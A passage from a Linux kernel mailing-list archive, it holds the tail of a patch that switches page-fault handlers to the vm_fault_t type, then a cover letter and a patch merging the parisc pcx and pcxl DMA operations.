-	int fault, code = SEGV_MAPERR;
+	int code = SEGV_MAPERR;
+	vm_fault_t fault;
 
 	cause = regs->scause;
 	addr = regs->sbadaddr;
diff --git a/arch/s390/mm/fault.c b/arch/s390/mm/fault.c
index 93faeca..8ea0855 100644
--- a/arch/s390/mm/fault.c
+++ b/arch/s390/mm/fault.c
@@ -350,7 +350,8 @@ static noinline int signal_return(struct pt_regs *regs)
 	return -EACCES;
 }
 
-static noinline void do_fault_error(struct pt_regs *regs, int access, int fault)
+static noinline void do_fault_error(struct pt_regs *regs, int access,
+					vm_fault_t fault)
 {
 	int si_code;
 
@@ -410,7 +411,7 @@ static noinline void do_fault_error(struct pt_regs *regs, int access, int fault)
  *   11       Page translation     ->  Not present       (nullification)
  *   3b       Region third trans.  ->  Not present       (nullification)
  */
-static inline int do_exception(struct pt_regs *regs, int access)
+static inline vm_fault_t do_exception(struct pt_regs *regs, int access)
 {
 	struct gmap *gmap;
 	struct task_struct *tsk;
@@ -420,7 +421,7 @@ static inline int do_exception(struct pt_regs *regs, int access)
 	unsigned long trans_exc_code;
 	unsigned long address;
 	unsigned int flags;
-	int fault;
+	vm_fault_t fault;
 
 	tsk = current;
 	/*
@@ -571,7 +572,8 @@ static inline int do_exception(struct pt_regs *regs, int access)
 void do_protection_exception(struct pt_regs *regs)
 {
 	unsigned long trans_exc_code;
-	int access, fault;
+	int access;
+	vm_fault_t fault;
 
 	trans_exc_code = regs->int_parm_long;
 	/*
@@ -606,7 +608,8 @@ void do_protection_exception(struct pt_regs *regs)
 
 void do_dat_exception(struct pt_regs *regs)
 {
-	int access, fault;
+	int access;
+	vm_fault_t fault;
 
 	access = VM_READ | VM_EXEC | VM_WRITE;
 	fault = do_exception(regs, access);
diff --git a/arch/sh/mm/fault.c b/arch/sh/mm/fault.c
index 6fd1bf7..474bf14 100644
--- a/arch/sh/mm/fault.c
+++ b/arch/sh/mm/fault.c
@@ -320,7 +320,7 @@ static noinline int vmalloc_fault(unsigned long address)
 
 static noinline int
 mm_fault_error(struct pt_regs *regs, unsigned long error_code,
-	       unsigned long address, unsigned int fault)
+	       unsigned long address, vm_fault_t fault)
 {
 	/*
 	 * Pagefault was interrupted by SIGKILL. We have no reason to
@@ -403,7 +403,7 @@ asmlinkage void __kprobes do_page_fault(struct pt_regs *regs,
 	struct task_struct *tsk;
 	struct mm_struct *mm;
 	struct vm_area_struct * vma;
-	int fault;
+	vm_fault_t fault;
 	unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
 
 	tsk = current;
diff --git a/arch/sparc/mm/fault_32.c b/arch/sparc/mm/fault_32.c
index a8103a8..1a44a4e 100644
--- a/arch/sparc/mm/fault_32.c
+++ b/arch/sparc/mm/fault_32.c
@@ -174,7 +174,8 @@ asmlinkage void do_sparc_fault(struct pt_regs *regs, int text_fault, int write,
 	unsigned int fixup;
 	unsigned long g2;
 	int from_user = !(regs->psr & PSR_PS);
-	int fault, code;
+	int code;
+	vm_fault_t fault;
 	unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
 
 	if (text_fault)
diff --git a/arch/sparc/mm/fault_64.c b/arch/sparc/mm/fault_64.c
index 41363f4..2078bfe 100644
--- a/arch/sparc/mm/fault_64.c
+++ b/arch/sparc/mm/fault_64.c
@@ -284,7 +284,8 @@ asmlinkage void __kprobes do_sparc64_fault(struct pt_regs *regs)
 	struct mm_struct *mm = current->mm;
 	struct vm_area_struct *vma;
 	unsigned int insn = 0;
-	int si_code, fault_code, fault;
+	int si_code, fault_code;
+	vm_fault_t fault;
 	unsigned long address, mm_rss;
 	unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
 
diff --git a/arch/um/kernel/trap.c b/arch/um/kernel/trap.c
index b2b02df..0afcd09 100644
--- a/arch/um/kernel/trap.c
+++ b/arch/um/kernel/trap.c
@@ -72,7 +72,7 @@ int handle_page_fault(unsigned long address, unsigned long ip,
 	}
 
 	do {
-		int fault;
+		vm_fault_t fault;
 
 		fault = handle_mm_fault(vma, address, flags);
 
diff --git a/arch/unicore32/mm/fault.c b/arch/unicore32/mm/fault.c
index bbefcc4..2982140 100644
--- a/arch/unicore32/mm/fault.c
+++ b/arch/unicore32/mm/fault.c
@@ -167,11 +167,11 @@ static inline bool access_error(unsigned int fsr, struct vm_area_struct *vma)
 	return vma->vm_flags & mask ? false : true;
 }
 
-static int __do_pf(struct mm_struct *mm, unsigned long addr, unsigned int fsr,
-		unsigned int flags, struct task_struct *tsk)
+static vm_fault_t __do_pf(struct mm_struct *mm, unsigned long addr,
+		unsigned int fsr, unsigned int flags, struct task_struct *tsk)
 {
 	struct vm_area_struct *vma;
-	int fault;
+	vm_fault_t fault;
 
 	vma = find_vma(mm, addr);
 	fault = VM_FAULT_BADMAP;
@@ -208,7 +208,8 @@ static int do_pf(unsigned long addr, unsigned int fsr, struct pt_regs *regs)
 {
 	struct task_struct *tsk;
 	struct mm_struct *mm;
-	int fault, sig, code;
+	int sig, code;
+	vm_fault_t fault;
 	unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
 
 	tsk = current;
diff --git a/arch/x86/mm/fault.c b/arch/x86/mm/fault.c
index 73bd8c9..5171d60 100644
--- a/arch/x86/mm/fault.c
+++ b/arch/x86/mm/fault.c
@@ -16,6 +16,7 @@
 #include <linux/prefetch.h>		/* prefetchw			*/
 #include <linux/context_tracking.h>	/* exception_enter(), ...	*/
 #include <linux/uaccess.h>		/* faulthandler_disabled()	*/
+#include <linux/mm_types.h>
 
 #include <asm/cpufeature.h>		/* boot_cpu_has, ...		*/
 #include <asm/traps.h>			/* dotraplinkage, ...		*/
@@ -1004,7 +1005,7 @@ static inline bool bad_area_access_from_pkeys(unsigned long error_code,
 
 static noinline void
 mm_fault_error(struct pt_regs *regs, unsigned long error_code,
-	       unsigned long address, u32 *pkey, unsigned int fault)
+	       unsigned long address, u32 *pkey, vm_fault_t fault)
 {
 	if (fatal_signal_pending(current) && !(error_code & X86_PF_USER)) {
 		no_context(regs, error_code, address, 0, 0);
@@ -1218,7 +1219,7 @@ static inline bool smap_violation(int error_code, struct pt_regs *regs)
 	struct vm_area_struct *vma;
 	struct task_struct *tsk;
 	struct mm_struct *mm;
-	int fault, major = 0;
+	vm_fault_t fault, major = 0;
 	unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
 	u32 pkey;
 
diff --git a/arch/xtensa/mm/fault.c b/arch/xtensa/mm/fault.c
index 8b9b6f4..203fade 100644
--- a/arch/xtensa/mm/fault.c
+++ b/arch/xtensa/mm/fault.c
@@ -42,7 +42,7 @@ void do_page_fault(struct pt_regs *regs)
 	siginfo_t info;
 
 	int is_write, is_exec;
-	int fault;
+	vm_fault_t fault;
 	unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
 
 	info.si_code = SEGV_MAPERR;
diff --git a/drivers/iommu/amd_iommu_v2.c b/drivers/iommu/amd_iommu_v2.c
index 1d0b53a0..58da65d 100644
--- a/drivers/iommu/amd_iommu_v2.c
+++ b/drivers/iommu/amd_iommu_v2.c
@@ -508,7 +508,7 @@ static void do_fault(struct work_struct *work)
 {
 	struct fault *fault = container_of(work, struct fault, work);
 	struct vm_area_struct *vma;
-	int ret = VM_FAULT_ERROR;
+	vm_fault_t ret = VM_FAULT_ERROR;
 	unsigned int flags = 0;
 	struct mm_struct *mm;
 	u64 address;
diff --git a/drivers/iommu/intel-svm.c b/drivers/iommu/intel-svm.c
index e8cd984..75189c0 100644
--- a/drivers/iommu/intel-svm.c
+++ b/drivers/iommu/intel-svm.c
@@ -24,6 +24,7 @@
 #include <linux/pci-ats.h>
 #include <linux/dmar.h>
 #include <linux/interrupt.h>
+#include <linux/mm_types.h>
 #include <asm/page.h>
 
 #define PASID_ENTRY_P		BIT_ULL(0)
@@ -594,7 +595,8 @@ static irqreturn_t prq_event_thread(int irq, void *d)
 		struct vm_area_struct *vma;
 		struct page_req_dsc *req;
 		struct qi_desc resp;
-		int ret, result;
+		int result;
+		vm_fault_t ret;
 		u64 address;
 
 		handled = 1;
diff --git a/drivers/misc/cxl/fault.c b/drivers/misc/cxl/fault.c
index 70dbb6d..93ecc67 100644
--- a/drivers/misc/cxl/fault.c
+++ b/drivers/misc/cxl/fault.c
@@ -134,7 +134,7 @@ static int cxl_handle_segment_miss(struct cxl_context *ctx,
 
 int cxl_handle_mm_fault(struct mm_struct *mm, u64 dsisr, u64 dar)
 {
-	unsigned flt = 0;
+	vm_fault_t flt = 0;
 	int result;
 	unsigned long access, flags, inv_flags = 0;
 
diff --git a/drivers/misc/ocxl/link.c b/drivers/misc/ocxl/link.c
index f307905..4e155fb 100644
--- a/drivers/misc/ocxl/link.c
+++ b/drivers/misc/ocxl/link.c
@@ -2,6 +2,7 @@
 // Copyright 2017 IBM Corp.
 #include <linux/sched/mm.h>
 #include <linux/mutex.h>
+#include <linux/mm_types.h>
 #include <linux/mmu_context.h>
 #include <asm/copro.h>
 #include <asm/pnv-ocxl.h>
@@ -126,7 +127,7 @@ static void ack_irq(struct spa *spa, enum xsl_response r)
 
 static void xsl_fault_handler_bh(struct work_struct *fault_work)
 {
-	unsigned int flt = 0;
+	vm_fault_t flt = 0;
 	unsigned long access, flags, inv_flags = 0;
 	enum xsl_response r;
 	struct xsl_fault *fault = container_of(fault_work, struct xsl_fault,
diff --git a/mm/hmm.c b/mm/hmm.c
index 486dc39..d7919e5 100644
--- a/mm/hmm.c
+++ b/mm/hmm.c
@@ -308,14 +308,14 @@ static int hmm_vma_do_fault(struct mm_walk *walk, unsigned long addr,
 	struct hmm_vma_walk *hmm_vma_walk = walk->private;
 	struct hmm_range *range = hmm_vma_walk->range;
 	struct vm_area_struct *vma = walk->vma;
-	int r;
+	vm_fault_t ret;
 
 	flags |= hmm_vma_walk->block ? 0 : FAULT_FLAG_ALLOW_RETRY;
 	flags |= write_fault ? FAULT_FLAG_WRITE : 0;
-	r = handle_mm_fault(vma, addr, flags);
-	if (r & VM_FAULT_RETRY)
+	ret = handle_mm_fault(vma, addr, flags);
+	if (ret & VM_FAULT_RETRY)
 		return -EBUSY;
-	if (r & VM_FAULT_ERROR) {
+	if (ret & VM_FAULT_ERROR) {
 		*pfn = range->values[HMM_PFN_ERROR];
 		return -EFAULT;
 	}
diff --git a/mm/ksm.c b/mm/ksm.c
index e3cbf9a..cb4e6ed 100644
--- a/mm/ksm.c
+++ b/mm/ksm.c
@@ -451,7 +451,7 @@ static inline bool ksm_test_exit(struct mm_struct *mm)
 static int break_ksm(struct vm_area_struct *vma, unsigned long addr)
 {
 	struct page *page;
-	int ret = 0;
+	vm_fault_t ret = 0;
 
 	do {
 		cond_resched();
-- 
1.9.1


From - Thu Nov 08 21:41:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.parisc
Subject: convert parisc to the generic dma-noncoherent code
Date: Tue, 19 Jun 2018 09:04:52 +0200
Lines: 3
Approved: news@gmane.org
Message-ID: <20180619070455.26624-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1529391776 17333 195.159.176.226 (19 Jun 2018 07:02:56 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 19 Jun 2018 07:02:56 +0000 (UTC)
Cc: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
To: linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Tue Jun 19 09:02:51 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fVAfD-0004O3-Bu
	for glki-iommu@m.gmane.org; Tue, 19 Jun 2018 09:02:51 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 18ED0D12;
	Tue, 19 Jun 2018 07:05:02 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id B5602CB7
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue, 19 Jun 2018 07:05:00 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org
	[198.137.202.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 78E0813E
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue, 19 Jun 2018 07:05:00 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=Message-Id:Date:Subject:Cc:To:From:
	Sender:Reply-To:MIME-Version:Content-Type:Content-Transfer-Encoding:
	Content-ID:Content-Description:Resent-Date:Resent-From:Resent-Sender:
	Resent-To:Resent-Cc:Resent-Message-ID:In-Reply-To:References:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=VmznVvzuqUTQz2h5bkikmHkv6RoSTDIVNly8UtGBm6o=;
	b=Bb/SSPT/F8GpDVLh03rM5TStZ
	Mny1jAPT6/solpYWZhWgnUAzizrVN9ZpE7gbczAc2dDh0CT0MPuEnw6Xu5uSdOrSxGGnXCUz6SKH7
	9DobKPKbLgGaoscnzMrkYyEqBTiDl1Qi8l2ZH/D/sbkOUaXq5XfZlhWkbCioU8YBfX9p5YIJzEOu1
	g5QNbP+hi09s25FvNsOndfV7plW3da5sqYMl7XJMMOfY37W3Tmwceo9JTBEd4ROMNbBK1oyo/Vrv+
	el8+RRhrknm1I+KCwSURaQq3cp1qD88LsAC/vybin96P0EYAHsBnLOI9Lc8ab1Bmy4V1f1gP43C/g
	8zPEpdnWg==;
Original-Received: from 089144192009.atnat0001.highway.a1.net ([89.144.192.9]
	helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fVAhH-0006Ou-Ju; Tue, 19 Jun 2018 07:05:00 +0000
X-Mailer: git-send-email 2.17.1
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24920 gmane.linux.ports.parisc:28699
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24920>

This should address all the comments raised last time.



From - Thu Nov 08 21:41:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.parisc
Subject: [PATCH 1/3] parisc: merge pcx_dma_ops and pcxl_dma_ops
Date: Tue, 19 Jun 2018 09:04:53 +0200
Lines: 200
Approved: news@gmane.org
Message-ID: <20180619070455.26624-2-hch@lst.de>
References: <20180619070455.26624-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1529391823 20555 195.159.176.226 (19 Jun 2018 07:03:43 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 19 Jun 2018 07:03:43 +0000 (UTC)
Cc: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
To: linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Tue Jun 19 09:03:39 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fVAfy-0005FV-IU
	for glki-iommu@m.gmane.org; Tue, 19 Jun 2018 09:03:38 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 339EAD3B;
	Tue, 19 Jun 2018 07:05:06 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id BD325D33
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue, 19 Jun 2018 07:05:04 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org
	[198.137.202.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 2CE4313E
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue, 19 Jun 2018 07:05:04 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=mruU/eacBobXSQfvjSP3Eyq/OKENYmP7cdMT9EzDKIg=;
	b=TjP5N8RAXiAE7M55eLgtJSgGF
	cc4bb+nYpb2klOlWKAEdORO8yOcgSk9UvYTgKGPoYwsq1shQTTZ75mClbnwxq7iX01YxhHAjVhSHg
	LvsEAzOKGOinr6UDwmEArN9aLcD8E6GXaWVgykq+QXb6rf7vgY2l9Oqu8ngLCLYhx3sO5E8mLGfTj
	EdLp37Vj+88qyH5KP/+muP1VPpQuj3c34KxO3bMUR0rq6tNNVxPWQBag+yRyWh/kW+/aqiZLWP+1u
	59zhS3JtxurbXoEa8Knxu9kPfr5nQGzs/AXaFfvooUjw7wMOb9BfFiurNR8cgIKjRAHX7RaarV1J9
	fM3gzXHcw==;
Original-Received: from 089144192009.atnat0001.highway.a1.net ([89.144.192.9]
	helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fVAhL-0006PC-39; Tue, 19 Jun 2018 07:05:03 +0000
X-Mailer: git-send-email 2.17.1
In-Reply-To: <20180619070455.26624-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24921 gmane.linux.ports.parisc:28700
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24921>

The only difference is that pcxl supports dma coherent allocations, while
pcx only supports non-consistent allocations and otherwise fails.

But dma_alloc* is not in the fast path, and merging these two allows an
easy migration path to the generic dma-noncoherent implementation, so
do it.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/parisc/include/asm/dma-mapping.h |  3 +-
 arch/parisc/kernel/pci-dma.c          | 80 ++++++++++++---------------
 arch/parisc/kernel/setup.c            |  8 +--
 arch/parisc/mm/init.c                 | 11 +---
 4 files changed, 43 insertions(+), 59 deletions(-)

diff --git a/arch/parisc/include/asm/dma-mapping.h b/arch/parisc/include/asm/dma-mapping.h
index 01e1fc057c83..eeec8dd18e74 100644
--- a/arch/parisc/include/asm/dma-mapping.h
+++ b/arch/parisc/include/asm/dma-mapping.h
@@ -22,8 +22,7 @@
 */
 
 #ifdef CONFIG_PA11
-extern const struct dma_map_ops pcxl_dma_ops;
-extern const struct dma_map_ops pcx_dma_ops;
+extern const struct dma_map_ops pa11_dma_ops;
 #endif
 
 extern const struct dma_map_ops *hppa_dma_ops;
diff --git a/arch/parisc/kernel/pci-dma.c b/arch/parisc/kernel/pci-dma.c
index 6df07ce4f3c2..d34cd6d34717 100644
--- a/arch/parisc/kernel/pci-dma.c
+++ b/arch/parisc/kernel/pci-dma.c
@@ -395,7 +395,7 @@ pcxl_dma_init(void)
 
 __initcall(pcxl_dma_init);
 
-static void *pa11_dma_alloc(struct device *dev, size_t size,
+static void *pcxl_dma_alloc(struct device *dev, size_t size,
 		dma_addr_t *dma_handle, gfp_t flag, unsigned long attrs)
 {
 	unsigned long vaddr;
@@ -422,16 +422,44 @@ static void *pa11_dma_alloc(struct device *dev, size_t size,
 	return (void *)vaddr;
 }
 
+static void *pcx_dma_alloc(struct device *dev, size_t size,
+		dma_addr_t *dma_handle, gfp_t flag, unsigned long attrs)
+{
+	void *addr;
+
+	if ((attrs & DMA_ATTR_NON_CONSISTENT) == 0)
+		return NULL;
+
+	addr = (void *)__get_free_pages(flag, get_order(size));
+	if (addr)
+		*dma_handle = (dma_addr_t)virt_to_phys(addr);
+
+	return addr;
+}
+
+static void *pa11_dma_alloc(struct device *dev, size_t size,
+		dma_addr_t *dma_handle, gfp_t gfp, unsigned long attrs)
+{
+
+	if (boot_cpu_data.cpu_type == pcxl2 || boot_cpu_data.cpu_type == pcxl)
+		return pcxl_dma_alloc(dev, size, dma_handle, gfp, attrs);
+	else
+		return pcx_dma_alloc(dev, size, dma_handle, gfp, attrs);
+}
+
 static void pa11_dma_free(struct device *dev, size_t size, void *vaddr,
 		dma_addr_t dma_handle, unsigned long attrs)
 {
-	int order;
+	int order = get_order(size);
 
-	order = get_order(size);
-	size = 1 << (order + PAGE_SHIFT);
-	unmap_uncached_pages((unsigned long)vaddr, size);
-	pcxl_free_range((unsigned long)vaddr, size);
-	free_pages((unsigned long)__va(dma_handle), order);
+	if (boot_cpu_data.cpu_type == pcxl2 || boot_cpu_data.cpu_type == pcxl) {
+		size = 1 << (order + PAGE_SHIFT);
+		unmap_uncached_pages((unsigned long)vaddr, size);
+		pcxl_free_range((unsigned long)vaddr, size);
+
+		vaddr = __va(dma_handle);
+	}
+	free_pages((unsigned long)vaddr, get_order(size));
 }
 
 static dma_addr_t pa11_dma_map_page(struct device *dev, struct page *page,
@@ -560,7 +588,7 @@ static void pa11_dma_cache_sync(struct device *dev, void *vaddr, size_t size,
 	flush_kernel_dcache_range((unsigned long)vaddr, size);
 }
 
-const struct dma_map_ops pcxl_dma_ops = {
+const struct dma_map_ops pa11_dma_ops = {
 	.alloc =		pa11_dma_alloc,
 	.free =			pa11_dma_free,
 	.map_page =		pa11_dma_map_page,
@@ -573,39 +601,3 @@ const struct dma_map_ops pcxl_dma_ops = {
 	.sync_sg_for_device =	pa11_dma_sync_sg_for_device,
 	.cache_sync =		pa11_dma_cache_sync,
 };
-
-static void *pcx_dma_alloc(struct device *dev, size_t size,
-		dma_addr_t *dma_handle, gfp_t flag, unsigned long attrs)
-{
-	void *addr;
-
-	if ((attrs & DMA_ATTR_NON_CONSISTENT) == 0)
-		return NULL;
-
-	addr = (void *)__get_free_pages(flag, get_order(size));
-	if (addr)
-		*dma_handle = (dma_addr_t)virt_to_phys(addr);
-
-	return addr;
-}
-
-static void pcx_dma_free(struct device *dev, size_t size, void *vaddr,
-		dma_addr_t iova, unsigned long attrs)
-{
-	free_pages((unsigned long)vaddr, get_order(size));
-	return;
-}
-
-const struct dma_map_ops pcx_dma_ops = {
-	.alloc =		pcx_dma_alloc,
-	.free =			pcx_dma_free,
-	.map_page =		pa11_dma_map_page,
-	.unmap_page =		pa11_dma_unmap_page,
-	.map_sg =		pa11_dma_map_sg,
-	.unmap_sg =		pa11_dma_unmap_sg,
-	.sync_single_for_cpu =	pa11_dma_sync_single_for_cpu,
-	.sync_single_for_device = pa11_dma_sync_single_for_device,
-	.sync_sg_for_cpu =	pa11_dma_sync_sg_for_cpu,
-	.sync_sg_for_device =	pa11_dma_sync_sg_for_device,
-	.cache_sync =		pa11_dma_cache_sync,
-};
diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
index 8d3a7b80ac42..5c8450a22255 100644
--- a/arch/parisc/kernel/setup.c
+++ b/arch/parisc/kernel/setup.c
@@ -97,14 +97,12 @@ void __init dma_ops_init(void)
 		panic(	"PA-RISC Linux currently only supports machines that conform to\n"
 			"the PA-RISC 1.1 or 2.0 architecture specification.\n");
 
-	case pcxs:
-	case pcxt:
-		hppa_dma_ops = &pcx_dma_ops;
-		break;
 	case pcxl2:
 		pa7300lc_init();
 	case pcxl: /* falls through */
-		hppa_dma_ops = &pcxl_dma_ops;
+	case pcxs:
+	case pcxt:
+		hppa_dma_ops = &pa11_dma_ops;
 		break;
 	default:
 		break;
diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index 2607d2d33405..74842d28a7a1 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -19,7 +19,6 @@
 #include <linux/gfp.h>
 #include <linux/delay.h>
 #include <linux/init.h>
-#include <linux/pci.h>		/* for hppa_dma_ops and pcxl_dma_ops */
 #include <linux/initrd.h>
 #include <linux/swap.h>
 #include <linux/unistd.h>
@@ -616,17 +615,13 @@ void __init mem_init(void)
 	free_all_bootmem();
 
 #ifdef CONFIG_PA11
-	if (hppa_dma_ops == &pcxl_dma_ops) {
